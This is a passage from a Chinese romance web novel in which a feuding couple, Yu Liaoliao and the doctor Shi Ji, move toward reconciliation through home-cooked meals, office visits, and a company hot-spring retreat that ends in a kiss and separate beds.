时霁扫完码,也顾不上身体中伤和身后催促付款的叫喊,就疾步追了上去,赶在对面将要关闭的前一刻,又本能地伸手挡了一下,从而能很明显地感觉到关门的力道不重,甚至是有意识地停了下来,可站在屋内的人却偏还要很生气地警告:“还想被门夹?” 他按捺住欲扬的唇角,摆出一副很识时务地板正模样:“不想。”而后便就势拉开房门,顺利走了进去。 喻了了虽然把人放了进来,却也只是将他丢在客厅,自己则飞快回到卧室,关门落锁,转身扑到床上,也不知是生气还是什么,闷在被子的红温愈渐高涨。 她其实很想理论,谁稀罕你那些破家当!但在刚刚的情形下,大概率会被当成打情骂俏,然后再被众人调侃一波。 而她能想到的反驳方式也只有一种,就是正面宣告他们已经分手了,却又不知道为什么,只是想想就觉得有点难以说出口,以至于明明是占理的一方,她却只能愤怒地离场。 不想让他继续跟着,更不想让他留在对面被问东问西,所以松手放人进来,但又还是不太想见他,只希望他能够识趣一点,待一会就发现跟着她其实非常无聊,然后自己想办法早点回家。 可房门却在这时候响了起来,“笃笃”两声,而后是隔着门板的低沉声音:“晚上出去吃还是自己做?” 喻了了倏地回头 ,一秒就想到了为难人的方式:“自己做!” “想吃什么?” “满汉全席!” “……” 家里根本就没人做饭,她平时甚至连泡面都只吃楼下便利店的,所以别说仅有的调料是否过期,估计连锅碗瓢盆还在不在都得打个问号。 她哼地一声想,都受伤了还这么爱现。 那就累死你算了! 她像是终于能够扬眉吐气地翻了个身,仰躺在床上玩手机,坐等他知难而退,可一个多小时过去,就在她自己快要在屋里待不下去时,门外却传来让她出去吃饭的声音。 打开房门时都有些恍惚。 扑鼻而来的家常饭菜香,整洁一新的厨台与餐桌,用完之后随手清洗的锅具,和占据大半餐桌的四菜一汤。 这样的场景,已经很久很久没有在这个家里出现过了。 她本来是想出来挑刺的,却闷不做声地清空了所有餐盘,最后还要以并没有吃到满汉全席为由,惩罚他洗完碗后赶快回家。 可等人真的走了,再一次回看空荡荡的家时,她却又莫名有点不适应,拧眉纠结了会儿,便很自然地把气全都归咎到他身上。 白天还表现的那么粘人,好像不管怎么样都会和自己在一起的样子,这会儿却连一点坚持的美德都没有。 没事还要在家里做饭,搞出一副很热闹的气氛之后又要走,虽然是她赶走的没错,但她也没有说就必须一定非得要走啊! 家里又不是没有地板给他睡! 她气鼓鼓地洗漱完,回到房间惯性拿起手机,没看到到家的报备消息还愣了一下,随后才想起自己早就把人拉黑了。 刚放心一点,又想起中午是她开车过来的,但他现在右手受伤,显然是没法开回去的,所以他到底是怎么回的?这么久也没想办法发消息过来,不会是出什么事了吧? 喻了了睁大眼睛,当即就把人从黑名单里放出来,又立刻拨了个电话过去,接通后质问:“你现在在哪里?” 时霁看到来电还有点愣,顿了下才说:“家里。” 喻了了仍拧着眉:“怎么回的?” 时霁想了想,答:“开车。” 喻了了瞬间火大:“你现在这种情况是可以开车的吗?知不知道这样做很危险,万一出了什么事情,大过年的倒在路边都不会有人发现!” 想想还是气不过,又扬言道:“你现在就给我把车钥匙埋了,下次要是还敢这样,我就报警让喻坚强抓你!” 时霁被骂爽了,无声抖着肩膀笑了会儿,才用一种被警醒到的语气,很严肃地回答:“知道了。” 又有点委屈地补充:“但我是让代驾开的。” “……” 喻了了噎住,窘迫地涨红了脸:“哦。” “挂了。” “等等。” 时霁连忙撇开这茬,放低语气问:“明天接着满汉全席往下做?” 喻了了闻言又有点不爽:“去哪里做?” 时霁:“你家。” 她哼了一声,丝毫不觉话里的酸劲儿:“都走了还来干嘛!” 时霁怔了下,而后轻笑出声:“我是不想走,但一会儿喻警官要是回来,你打算把我藏哪儿?” “……” 喻了了愣住,思绪一度从被窝移到衣柜,才终于惊觉问题所在,脸颊顿时爆红起来:“谁要藏你!” “我只会让他直接把你抓起来!” “行。” 时霁乐此不疲道:“那我明晚就住你那儿?” 喻了了沉着脸,只想把他拉黑:“我要挂了!” 时霁却好像她肚子里的蛔虫,亦默认自己已经被允许可以过去找她:“都放出来了,要不就先留着?不是还得监督我有没有开车危害社会?到时候发现问题要报警也方便些。” 喻了了想了想,觉得作为一个负责任的公民,自己确实有义务维护社会安定,便很认真地警告说明:“我只是暂时不拉黑而已!” 时霁笑起来,绝无二话道:“好。”- 此后几天,时霁就跟上班打卡似的,每天10点都会准时出现在门口。 这个点喻了了有时候醒了,有时候没有,但无外乎都还躺在床上,并十分讨厌还得爬起来给人开门的感觉,索性就把家门密码也告诉了他,然后快乐地躺到11点,起床洗漱过后就能直接坐下吃饭。 她在家里待不住,午饭过后通常都会外出,有时候是被小伙伴喊出去的,有时候则是自主开发新大陆,时霁就一直在边上跟着,久而久之她也不再应激,心想反正有人愿意结账付款提东西,她又不会有什么损失。 唯一不爽的是,他总会时不时地趁机牵她或者抱她,而她在兴头上的时候又总会忘记他们还在吵架,有时候还会反过来拉着他走出老长一段路,才又在猛然想起来后把手甩开。 搞得她生气都很没有立场! 就好像自己明明已经原谅他,却又在故意拿乔一样。 好在这样的日子没过几天,春节假期就正式宣告结束了。 虽然懒散的日子过惯了,戒断起来一时有点困难,但看到大家都是一样的痛苦,痛苦也就自然消减了许多。 年节刚过,大家相对都比较空闲,就算手里有活儿也并不那么赶,于是便各自把桌面清理了一下,聊着天就摸了小半天的鱼。 收拾完又临近饭点,谁也不可能积极到在这时去争分夺秒。 喻了了坐下来就开始玩手机,入目却先是一条未读消息:【中午去找你吃饭?】 她眨了眨眼,毫不犹豫地拒绝:【不可以】 时霁:【?】 她其实也能感觉到自己的意志越来越不坚定,也越来越有点不明白自己到底想要怎么样,所以也说不好现在到底是在气他还是气自己,总之就是看到他想发脾气,看不到他也想发脾气,听到他想干嘛,就下意识想要和他作对:【因为我现在不想看到你!】 时霁:【我已经过来了】 喻了了:【那就再回去】 时霁:【……】 既然说的是假期都要待在一起,那现在假期都过了,也就没必要再继续执行了吧? 她这样想着,便退出微信,又漫无目的地划拉了一会儿,可等到和同事一起坐电梯下到负一楼食堂,也没有再收到新消息后,又莫名其妙开始不爽,而后便嘁地一声,一副谁稀罕的模样,闷闷地开始扒饭。 胡明宇见状便问:“你男朋友呢?” 喻了了抬头:“什么?” 他刚才就觉得不对劲,这会儿几乎可以坐实:“节前不还天天黏在一起么?喊你吃个饭比登天都难,今天这是干嘛?吵架了?还是被甩了?” “你才被甩!”喻了了恶狠狠瞪他一眼,好像很听不得这样的话似的,立马就竖起拳头警告:“想死就直说!” “……” 胡明宇做了个嘴部缝合的动作。 并在心里断定,果然是被甩了! 然而等午饭过后,外出买咖啡的孙然却忽然闪现,撑着桌沿就冲这头喊:“了了,我刚在楼下看到你男朋友了欸!” 喻了了愣了愣:“哪里?” “大堂啊!被好几个女生围着呢。”孙然着急忙慌地告知,说完又觉得奇怪:“他过来你不知道吗?怎么也不下去?” “……”喻了了蹭地一下站起来,下意识就要往外冲,听到后半句又顿住,慢吞吞坐回原位,撇过头说:“不用管他。” “?” 胡明宇满脸骇然,震惊到如同遇见新大陆。 所以她不仅 没被甩,还成了被低头认错的一方吗?? 虽然可能不是那么恰当,但这种认知就就好像一个无条件跪舔女神的屌丝,突然有天被女神反过来求着别离开!还能非常傲气地回上一句“不用管他”! 简直就是爽文版的翻身农奴把歌唱啊!!! 喻了了压根不知道他在想什么,只是看着安静的手机,联想到楼下被搭讪到连消息都没空发一个的画面,心中愈发恼火,并开始有些偏激地想:要么就别来,来了又不发消息,就是故意为了被搭讪的吧? 她低下头来,默不作声又毫无缘由地,再次把人拉黑。 …… 开年事情不多,晚上自然不用加班,她难得也能准时打卡,在天黑之前离开公司,乘坐地铁回家。 而再次倚在地铁栏杆上的时候,却发现这种感觉竟然有点陌生,因为自己好像已经很久没有以这种方式回家了。 但转念一想,其实也并不是因为他每天都会来接,早在他来之前,她也一直都是打车回家的啊。 顿时便觉得自己简直是无病呻吟,伤感来的莫名其妙,很快就甩甩脑袋,强迫自己正常一点! 这样的好日子持续了几天,食堂的菜色就已经不能满足大家的胃口了,某天饭点之前,胡明宇就提议说:“要不今天去外面吃吧?” 对面几人没什么意见,喻了了不知出于什么原因,也没说什么,下楼到大堂时,那道熟悉的身影果然正被几个美女环绕,估计是这几天都在,气氛都明显有些热络了。 喻了了板着脸。 好像没看到一样,脚步不停地往外走。 时霁很快从沙发区起身,做了个让一下的动作说:“抱歉,我女朋友来了。” 而后便阔步朝她走来,自然地牵住她的手一同往外走。 喻了了一时没甩开。 之后被便他牢牢握住,不再允许她做这样的动作。 孙然见状,很有眼力见地提了句:“那你两是自己去吃还是……” 喻了了想都没想:“谁要跟他自己去!” “……” 几人便不尴不尬地进了同一家餐厅,因为气氛古怪,谁也没敢闹腾,各自低头扫码点餐。 时霁扫完码后,则是把手机递给她,在她低头点餐时,再次又勾过她的手,轻缓滑着指缝问:“怎么又生气了?” 喻了了知道他说的是又被拉黑的事,依然理直气壮:“不可以吗?” “可以。”时霁也毫无原则地屈就:“但下次能不能换一种方式?老是找不到你我心情会很差。” 喻了了觉得他很搞笑。 自己难道是为了让他心情好才生气的吗?而且她都生气了,自己的心情肯定也不好啊!又为什么要管他心情好不好? 她不想说话,点完餐就把手机丢到桌面,谁知他付完款后,却又再次塞回到她手上,她看着被调出来的微信界面,不解道:“干嘛?” 时霁:“检查。” “……” 她下意识就想丢回去说谁要检查,搞得就好像自己很不信任他一样,但又想到既然信任,再生气的话好像就更没有立场了? 当即便一副这可是你非要我看的架势,有模有样地开始翻阅,看到一个疑似女性的头像就问:“这是谁?” 时霁看着屏幕里的荷花头,一时有些语塞:“……护士长。” 喻了了又翻了翻:“这个呢?” 时霁看着上头大喇喇的备注,还是念了出来:“行政杨主任。” “还有这个?” “射箭馆老板娘。” “……” 她一通抽查完也没抓到什么猫腻,气势却仍然不减,好像只是在例行检查,没有问题也不过是刚达到基本要求。 随后便点到消息界面,正要象征性地往下翻,却一眼看到置顶栏上的自己,在他这里甚至连个备注都没有! 显示的就是她的昵称,一只鱼的图案。 她像是终于发现问题,很不满意地质问:“什么意思?” 连给她备注的必要都没有是吧? 时霁怔了下,心道这难道不是可以关注到她动态的最好方法吗,如果有改名的话,第一眼就能看见。 却还是在她严厉的视线下接过手机,当场把备注填上,然后递给她看。 喻了了低头,看到“喻了了”三个字,只呵了一声,连话都不想说。 时霁刚急着补救,改完才意识到不妥,一时又想不到再改什么好,便把名字换了个“女朋友”,然后得到三个字:“真敷衍。” “……” 他思忖了下,很快拿回手机,又改了一遍。 喻了了低头,已经准备继续挑刺了,却在猝不及防看到“宝宝”后瞪大眼睛:“谁是你——” 她卡了一下,然后猛女脸红地勒令:“赶紧给我改掉!!!” 时霁却不再听她的了,锁屏后把手机收起来,而后恬不知耻地回:“我觉得挺好的,要不你也给我改上?” “我改你个头!”喻了了气得当场扑了过去,伸手就要扒他裤兜,却被时霁扣住手腕,并调转方向示意她看向对面,抬头才发现不止是同事,店里有好一部分人都正看着这头,人均一副好刺激的表情,等着她下一步动作。 喻了了猛地收手,回正身体就开始干饭!想假装一切都没有发生。 然而同事们见气氛扭转,终是按捺不住地开始八卦:“到底改成什么了呀?居然能让她害羞成这样?” 她刚想骂你才害羞!就听孙然开始猜:“宝贝?傻瓜?还是亲爱的?” 准的她一口气差点没厥过去,时霁又笑了笑说:“差不多。” “……” 胡明宇又问:“差不多是什么呀?” 孙然又猜:“臭宝?老婆?小仙女?” 时霁也像是得到什么灵感,一一记下后点头:“之后都试试。” “……” 喻了了忍无可忍,抬头瞪他一眼:“闭嘴!” 讲道理,她怕是连出生那一刻都没被喊过宝宝,现在这都二十郎当岁了,又哪里受得了这种刺激?! 她恶狠狠地塞了一大口面。 心里想着早吃完早走人,并单方面决定之后起码一个月都不会再理他! 可誓言才刚立完一秒,胡明宇就冷不丁问了句:“对了,下周我们部门团建,三天两夜,可选超级大床房,有家属名额,你去吗?” “?”喻了了抬头,满脸不可置信地说:“你话怎么那么多!” 胡明宇确实是有意的,毕竟她心情不好,就会搞得他的日子也很难过,这前后都几天了,动手的频率简直高到令人发指!所以就是说,这种苦能不能尽量让该吃的人去吃啊? 他一脸郑重地看向时霁:“去吗?去的话我给你安排。” 喻了了扭头,也非常严肃地警告:“不准去!” 第49章 第49章更进一步。 然而周五当天,喻了了拖着个小行李箱出门时,还是一眼就看到了停靠在小区门前的黑色轿车。 愣神的空档,时霁已经接过行李往后备箱走,很快又从后头绕回来。 他今天一身深色休闲服,搭在宽直的肩膀上,显得整个人轻薄瘦削,身高腿长,一眼看过去就像个体育系的大学生,因为架着副眼镜,无形之中又多了几分斯文神秘。 虽然很不愿意承认,但他好像就是专门长在她的审美点上的,估计就是披个麻袋也必能吸引她的注意!更别说今天下午泡、温、泉! 一想到自己都没看过的劲爆画面,马上就要当众揭开帷幕,她就不自觉地有点来气!等人一坐进车里,便扬着下巴开 始数落:“你现在都已经这么闲了吗?” 照理来说,医生不应该都很忙吗?可他怎么还能有精力每天接她下班?跟她同事的关系混得比她还好,现在连她们公司的团建也可以绕过她报名参加,让他别来都非要来! 时霁偏头:“闲么?” 公里医院不比私营企业,请假调休的局限性很高,单就这一天的假期,都是他提前替了今天要值班的同事的班才勉强置换来的,他不知道自己的闲体现在哪里,但她既然这么说了,应该就有这么说的道理:“还行。” 他打开放在手扶箱上的早餐,原意是想递给她的,但被这么点了一下,当下就一副已经闲到不管她有什么需求都能满足的样子,扎好吸管递送到她在嘴边。 见她不动,才轻佻眉梢揣测圣心:“还需要更进一步的服务?” 喻了了傻了,都已经送到嘴边了还怎么更进一步?难不成是准备亲口…… 呆愣的间隙,他指尖轻移,眼见着就要把吸管从唇边挪开,她终于反应过来,连忙抱住他的手,就着这个姿势猛吸了一口豆浆,才涨红着脸抢过来说:“谁要你的服务!赶紧给我开车!!!” 他薄唇轻扬,看着她仿佛ptsd了似的,梗着脖子喝了几口豆浆,很快又自主摸了个包子狂炫的模样,回身无声笑开。 而后启动车子,往集合点开去。 他手伤的不重,养半个月就彻底好全了,前几天就已经可以照常接她下班,这会儿看着宽敞的城市街道,也觉得哪里都好,就是他一向主动的女朋友,都快一个月不让他亲近了这点,着实还是非常愁人。 也不知道这趟外出,会不会有什么转变- 中寰建筑规模很大,单一个事业部就有近二百人之多,所以即便集合点就设在公司门口,也还是乌泱泱地集结了好半天,大巴才正式出发。 赶在冬天的尾巴,前往溪山温泉度假区。 喻了了吃饱喝足,也不是太想说话,早起的困倦反上来后,倒头就开始睡觉。 再有意识时大巴已经停摆,统筹人员在前头指挥着大家下车之后分别该往哪儿去,而她正舒坦地靠在某个宽阔的怀抱里,双手圈着一道劲瘦的腰,醒神之际还不忘揉搓着掐了两把,以至于抬头对上视线时,整个人都有些开裂…… 她缓了几秒,这才一副都是你自己送上门来的表情,根本不打算认账,站起来就想跑,奈何前方拥堵,刚迈出两步又从后方被揽住腰,前后挨着下了车。 可能是也有一点心虚,所以这一路她都没怎么反抗,直到拿着房卡刷开一间显而易见的情侣大床房—— 宽敞整洁的床上叠着一对交颈天鹅,散落的玫瑰花瓣肆意延伸到床头,于是隔着一层玻璃罩摆放着的计生用品,就这么明目张胆地闯进视线,再稍往左些,白色哑光的独立浴缸被摆放在洗手间正中,而这整片区域与卧室之间的隔断,有且只有一片绸质的香槟色透光帘。 也就是说,如果他愿意的话,完全可以开着这片隔断帘,让她躺在床上欣赏他洗澡…… 时霁看着她陡然烧红的脸颊,还没来得及表态,她就不知是警告还是要自我约束地偏过头来,睁大眼睛说:“你今晚睡沙发!” 她对自己还是很了解的,这会儿单单只是把他代入到有颜色的画面里,就已经有点要脑溢血的征兆,更别说美色当前还能坐怀不乱这种事到底有多不现实! 就她这连考验都多余的定力,晚上要真跟人滚到一张床上去,十成十准得出事!而以他们现在的状态,真要发生了什么,还是她主动的,那像什么话?! 为避免一失足成千古恨,她甩了甩头,强行把那些乱七八糟的画面驱逐出脑海,然后一副丑话说在前头的架势,非常严肃地补充:“不然就去跟胡明宇睡!” 谁让他来的就去找谁睡,这很合理! 时霁敛着眼尾把行李放到一旁,神情看着是安分听话的,却始终没有直面这个问题。 默了会儿,才一副晚上的事晚上再说的样子,转而问道:“现在什么安排?” 可能是自己心里也有鬼的缘故,喻了了愣了一下,轻而易举就被转移重心,摸出手机看了下群消息说:“午饭之后去泡温泉,晚上是自由活动。” 时霁点头:“那走吧。” …… 团建第一天,除了温泉的硬性项目,自由程度还挺高的。 两人便先到餐厅吃完饭,又四下闲逛了会儿,才回到房间,拿上泳衣前往温泉池。 换衣服的时候,喻了了很自然地想起之前多次约他游泳均被无情拒绝的惨痛经历!还说什么公共场合,出了意外谁负责? 而现在的情况显然也和游泳也差不了多少,他却又能上赶着陪她来。 所以明明就是可以答应的事情,在她最热衷的时候,又为什么偏偏就是不肯如她的意?还把她说得像饿狼一样,好像真的有多稀罕他的肉。体似的! 她嘁了一声,越想越有点不爽,于是故意在更衣室里磨蹭,换好泳衣后走到镜子前,精心扎好一个丸子头,又去补充了一些水分,放下水杯时随手拆了一颗糖果……致力于让自己表现得一点也不着急看他脱光的样子! 直到手机响起,时霁借了手机打来问她是不是迷路了,她才好胜心大起地冲出去,仰头回怼:“谁会在更衣室里迷路!” 说话的同时也在用余光打量,见他还知道在身上披件浴袍,除了微敞的领口和一截修长小腿外,暂时看不到什么实质性的东西,这才勉强满意了点儿,咂了咂嘴,径自往里走去。 相比之下,时霁的脸色就显得有点阴郁。 她好像对自己的身材完全没有认知,对周围投来的目光也一律做忽略处理,稍显眼些的便自动识别为挑衅,还没等人发出惊叹,就二话不说地瞪回去,并以眼神警告:看什么看,再看眼睛给你挖掉! 虽说这“威猛”的架势防御级别很高,直接就让被搭讪的几率大幅降低,却架不住明里暗里越来越多的注目,看得时霁眸色一黯再黯,几欲扒掉身上的浴袍兜头给她裹上! 但这趟毕竟是来泡温泉的,要求她全程包裹严实本来就有点没道理,更别说她在这方面上一向双标,自己怎么穿无所谓,但他要是敢随便脱,起码三个月都别想站着地从黑名单里走出来…… 露天温泉虽是男女共用的,但如果一个汤池内男性居多,女性大就都会选择规避,反之亦然。 喻了了往里走了一段,随便下了个几乎都是女生的池子后,才想起身后还有一个人,顿时便有些茫然,既不想让他跟进来,又不想专门再换个池子,显得自己好像对他有多在意。 纠结之间,时霁已经在边上的一副石椅上坐下,和她对过视线后便翻出手机,好像并不打算下水的样子。 她愣了愣,很快便一副乐得轻松的模样,也懒得管他,舒舒服服感受着氤氲的暖流,直到看到一群不太熟的同事们经过,才发现从出发到现在,好像都还没有看到过几个组员的身影,随即便在水里打了个滚,半趴在池壁上解锁手机,看到未读的群消息已经有99+。 点进去扫了眼,几乎都是在讨论今天的后续行程,只是几人一路从spa聊到酒吧又说到烧烤,都还是没能统一意见。 她直接下滑到底,刚想回一句“你们也太纠结了吧”,就看到最下方几条显示: 【喻了了呢?怎么半天都没声音】 【q她干嘛,人陪家属呢哪有空理你】 【好像也是】 【那要不先把她移出去?不是很想跟有对象的人一起玩】 【有道理】 【可以】 【+1】 您被“胡了”移出群聊 “?” 喻了了拧眉,扬起手机就想往下拍,但看了眼面前崎岖坚硬的石块,又没舍得。 便在这时,不远处石凳的方位传来一阵攀谈声,她偏头看去,果不其然就见某个坐着玩手机都显得非常不安分的人,又又又被搭讪了! 这样的情况多了,她虽然还是会觉得不爽,心里倒也是相信他是能够处理好的,事实也确实是没聊几句,女生就知难而退了。 但她却还是有点疑惑,他既不需要艳遇, 又不和自己泡温泉,那到底干嘛还要跟来?难不成是专门来让自己被孤立的?? 胡思乱想中,汤池里水流涌动,身旁忽然凑过来一个男人,单手搭着岩壁,刻意绷紧肌肉,对着她凹出健硕的造型:“哈喽,小姐姐是一个人吗?” “……” 喻了了不是没被搭讪过,但这种袒胸露乳,只穿着条泳裤就自来熟滑过来,丝毫没有边界感的行为,她更愿意称之为骚扰。 抗拒是一方面,更多的还是无语,为什么主动搭讪的女性,大多已经很漂亮了,却还是会显得不够自信,但要是男性,就仅仅只需要自信? 她看着悬浮在肌肉之上的一层脂肪,正犹豫要不要建议他先回家多做几个俯卧撑再出来丢人时,就听到有人喊:“喻了了。” “啊?”她回头,看到时霁不知何时已经来到身后,手里拿着件新的浴袍,低眸俯瞰道:“差不多了,先上来歇会儿。” “哦……” 她仰头洗了洗眼睛,顿时就忘了要给人“义务教育”的事,压下水花站起来,白皙长腿迈出汤池,顷刻就引来不少注目。 却也不过两秒,身体就被浴袍从后方兜头笼住。 时霁揽腰把人往自己的方向带,托着她的手臂穿过衣袖后,才将胸前衣料交叠,慢条斯理系上腰带,动作亲昵自然,像做惯了这样的事似的。 细微的触感在腰际散开,喻了了后知后觉,今天的水温调控好像有问题,才这么一会儿,就把身体蒸得有点燥。 她晕晕乎乎的,还没想好应该要怎么反应,又被牵着绕过几条小路,慢悠悠地往更深处去。 虽然已经开春,但度假区的气温已然不低,泡温泉的人并不很多,越往里走便越人迹罕至。 时霁领着人走了会儿,感觉时间差不多了,就在一处相对冷清的药池边停下,略松了松手,示意她想泡的话现在可以下去。 喻了了又稀里糊涂的解开衣带,转身挂浴袍的时候,光洁背肌尽显无遗。 她的体态从不娇软,不论身前还是身后,该有肉的地方有肉,该有肌肉的地方也从不含糊,又长手长脚,比例上佳,哪怕穿的是再简单不过的连体泳衣,也足够给视觉带来一层富有力量的剧烈冲击。 约莫是随便抓拍一帧,都能用作体育馆宣传照的程度。 好看是毋庸置疑的。 但也正因如此,才让人很难平心静气地,只以观赏的角度注视下去。 不知道是不是错觉,喻了了总感觉从进温泉开始,他的表现就有点冷淡,不仅刚刚一路走来都没说几句话,连视线都很少落在自己身上,这会儿池子里拢共就三个人,他也还是选择坐在岸边,半点儿要下水的意思都没有。 一副业务非常繁忙的样子,拿着手机也不知道在干嘛。 就这么换着泡了四五个池子,又来到一片有点像私汤的小红酒池边时,喻了了终于没忍住:“你不泡吗?” “嗯?”他欲意退后的动作滞住。 她也不稀得弯弯绕绕:“来都来了,你不泡老坐在岸边算怎么回事?” 时霁视线掠过她浮在水面,勉强算做严实的上身,默了会儿,到底还是背身松开系带,挂好浴袍后,下水坐到她面前。 然后喻了了就后悔了。 虽然之前就看过他游泳的照片,接吻时该摸的不该摸的也都碰了大概,但光天化日四下无人面对面怼到眼前的冲击,还是让大脑毫无征兆地充了血,山风穿过叶角的声音,也带着一种引人入胜的意味,簌簌地放大感官。 而她睁着眼睛,直视也不是,错开也不对。 欲念与理智并行的瞬间,大脑还晃过一个闪念,要是他们没吵架就好了,自己就能光明正大对他上下其手了,又或者,现在和好好像也来得及? 但转变太快会不会有点没面子? 不过面子好像也没有那么重要? 可自己打自己脸这样真的好吗? …… 两人身形紧绷,视线没有一丝一毫的偏移,无声落在对方眼中,从侧面看,说是在对峙也不为过。 就这么焦灼地僵持了会儿,喻了了才像是终于泡够了,哗地一下站起来,不知是物理还是化学因素,脸颊连同身体都被红酒染得有点红:“我不泡了。” 时霁还在水里,喉结不动声色滚了一下:“嗯。” 她长腿迈开,飞快上岸包好浴袍,转身见他还原地坐着,不由拧眉问道:“你不走吗?” 时霁轻缓吐息,神情不知为何有些隐忍:“你先回吧。” “我再待会儿。” 喻了了张了张唇,还想再说些什么,见他又拿起手机,一副不是太想说话的样子,又识趣地闭了嘴。 神情却不免黯了几分,用力踩着拖鞋转身离开- 从更衣室出来时天已经黑了。 喻了了把洗浴用品往房间一丢,就独自外出觅食。 度假区除了最大的自助餐厅外,还有不少主题餐厅,她这会儿有点不想碰上熟人,更不想去找那群没义气的家伙,就随便进了家略偏门的地中海餐厅,把招牌菜统统点上,囫囵吃到一半的时候,手机忽然进了通电话。 来电人是胡明宇,目的却是替时霁问她在哪儿,问完又补了一句:“你两不一直在一块吗?怎么又吵架了?” 回答的话已经在嘴边,她闻言又转了话音:“你少管!”说完就直接挂了电话,但刻意屏蔽的情绪却倏然上涌。 白天还跟个粘人精似的,走哪跟哪,去了趟温泉就开始变冷淡,一路只玩手机不理人,跟自己泡在一个池子里还能清心寡欲,连看都不带多看两眼的,拒绝美女搭讪的时候倒是温柔。 怎么,当着她的面不好接受,现在都把她支开了,总算可以好好发挥了,还来找她干什么? 她撇了撇嘴,烦乱地把晚餐收尾,而后看着窗外愈渐深沉的天色,还是不想回去,便摸出手机开了把游戏,然后一把又一把,一直玩到眼睛都有点累了,想着结束这局就休息一下时,面前忽然覆下一道阴影,身旁随之坐下个人。 匆忙间用余光扫了一眼,正要开口说这里有人时,目光却忽然滞住,几秒之后,屏幕里的小人宣告死亡。 她顿了一下,郁气不觉更甚:“你来干嘛?” 时霁看着她,如实说:“找你。” “找我干嘛。” “该回去了。” “要回你自己回!” “喻了了。”他无奈地叹了口气:“你到底在气什么?” 她板着脸:“我哪有气!” 他眉心微蹙,下压的眸底略显严肃:“你能不能对自己有点认知?” “……” 喻了了愣了愣,反应过来他好像在教训自己,刚要开口回怼,就听他又说:“你穿成那样坐我面前,我要是一点感觉都没有,你觉得正常吗?” “什么感觉——”她想到什么,话音蓦地止住。 虽然挺不解的,但她的情绪向来很好懂,联系前后变化的始末,并不难猜到大概:“你以为我为什么不下水?” 他一副拿她没办法的样子,单手搭上她的椅背说:“谁知道不下你要生气,下了你也要气。” 喻了了人都懵了:“……” 所、所以,他刚才那么冷淡不是对自己没感觉,而是因为……太有感觉了?? …… 大脑一路宕机。 以至于房门关上,亲吻落下的刹那,就只有身体在本能迎合。 不知是不是太久没有亲近的缘故,她竟生生被唇瓣相接时的那一点炽热烫了一下,只因顿了这么一 下,搭在他肩上本欲推拒的手,顷刻便违背使命,转而绕过他的脖颈,任由热浪一层层将自己包裹,连同漾起的水声一并将理智吞没。 渴望自唇角扩散,交缠的呼吸惹得人越发忘乎所以,直至滚烫蔓延至全身,抵在小腹的感知到了不容忽视的地步,她才堪堪在迷乱间回了点儿神,想就这么推着将他扑倒在床,手心却靡软的聚不上力,于是微弱扑腾的力道便更像是挣扎。 亲吻也由此止住。 呼吸抽离开来。 时霁低眸平复片刻,终是轻喘着松了桎梏:“去洗漱吧。” “我——”喻了了僵在原地,想说我刚刚又不是在拒绝!你现在立刻马上就给我继续!话到嘴边又因为某种别扭的心境陡然止住,一口气也因此被吊得上不去下不来,最后只能任由旖旎散尽,板着脸应了声:“去就去!” 而后深吸口气,又毫无缘由地踢了他一脚,才转身走进浴室,气鼓鼓地拉上隔断帘! 刷牙的时候还赌气地想,之后不管他再怎么死缠烂打,自己都绝对不可能再有一丝一毫的妥协! 但等她关灯躺倒床上,听到浴室里传来的淅沥水声,不自觉偏头看过去并试图三分钟速成透视眼的时候,又突然有那么点想不计前嫌了。 其实细想起来,他除了的确骗过自己之外,好像也没做什么伤天害理的事情,并且这段时间的态度也都挺端正的,再说谁还没有做错事的时候,要是能保证以后再也不这样的话,好像也不是完全不可以原谅? 她也不知道自己这样想,算不算是在给他找理由,但一想到吵架之前那些毫无顾忌、完全顺从心意的亲吻,以及就算他误以为自己是在挣扎,她也能毫不犹豫把他的脑袋掰回来的状态,就真的非常不想再这样僵持了。 耳边清晰的水声还在继续,一点点将脑海里的天平淋湿。 喻了了思来想去,冷不丁甩了甩头,而后平躺在床上冷酷地想,要是他一会儿出来,超级坚持且必需一定非要睡在床上的话,自己其实也不是完全不能通融的。 可是他洗澡为什么要这么长时间? 长到她眼皮都在打架了,也还是没有要终止的征兆。 不对! 刚温泉出来不是已经洗过澡了吗? 那他干嘛还…… 她倏地睁大眼睛,正犹豫着要把今晚的尺度开到哪里时,水声骤然停下,细碎的窸窣声悄然放大。 她忽地抓紧被面,并不由吞咽了下。 酒店窗帘高度遮光,时霁关灯从浴室出来,房间便彻底陷入黑暗,但经过床尾时,床沿的感应灯带又自然亮了起来。 他随之看向床头,见人不仅没睡,分外精神的眸子里还略有些紧绷,便又走过去,单手撑在枕侧,俯身凑近。 兜头洒下的清冽气息,连同落在唇角的亲吻,均裹着一层寒意,冻得喻了了呼吸一凛,手指无意识地抓紧又松开,刚要伸手去拽他的衣摆,在加深亲吻的同时匀他一点温度,他就支起胳膊拉开距离,注视着她说:“晚安。” 而后便直起身,自觉往沙发走去,掀开薄毯,静默躺下。 喻了了:“……?” 就这??? 第50章 第50章防的就是你! 夜里没太睡好,晨起时就稍有点萎靡不振,但在看到罪魁祸首居然还挺精神的换好了衣服时,喻了了还是莫名其妙地涌起了点儿好胜心,立刻睁大眼睛从床上跳下来,表现出一副休息得非常充足,绝对没有被某些人影响到睡眠的样子! 在白天的团建过程中,也发挥了强大的运动天分,几项活跃气氛的草坪游戏,无一例外都被赛出了更高更快更强的奥运精神! 虽然这么做的结果,就是被其他几个小组联合在“多人拔河”中率先out,但总体来说还是输少赢多,筋骨也因此活络了许多,一度到了可以随时找人切磋的程度! 几个组员见状,相当有默契地退后了些,又因为觉得哪里都不安全,而争着要躲在时霁身后的那块地儿,抢夺无果之后又快速一字向后排开。 最后隔着个“盾牌”看向她的场景,就跟“老鹰抓小鸡”差不了多少。 “老鹰”被越推越近,又似带着点儿主动凑到跟前。 喻了了无语之际,也还是在几声“你就看她舍不舍得动手吧”、“她对时医生能叫动手吗?那就是打情骂俏好吧”的辩论声中倏然涨红了脸,一时间好像怎么做都不太对。 茫然间,还是时霁上前,牵过她的手轻捏了两下,然后调转方向同大家说了句她从不打人。 不消半秒,就得到一句团结又悲愤地呐喊:“那是对你!!!” “……” 时霁还想回些什么,却又好像无从否认,忽有些抱歉地笑着应下:“嗯。” 倒确实是。 喻了了见他眼角微扬,耳温不觉更甚。 她也不知道为什么,好像在最生气的时候也没有想过要对他动手,明明这对她来说就是最直截了当的解决方式。 细想之后又觉得不完全正确,她在不知觉中好像也是踢过他好几次的,虽然那比起动手,似乎更像是在……闹脾气- 白天费完力气,晚上的活动就较为休闲。 部门在度假区的会所里包了几个房间,每个房间里员工带家属大约有三十来人,这会儿正均匀的散布在包厢各处,有唱歌的,喝酒的,玩游戏的,以及单纯坐着消食放空的。 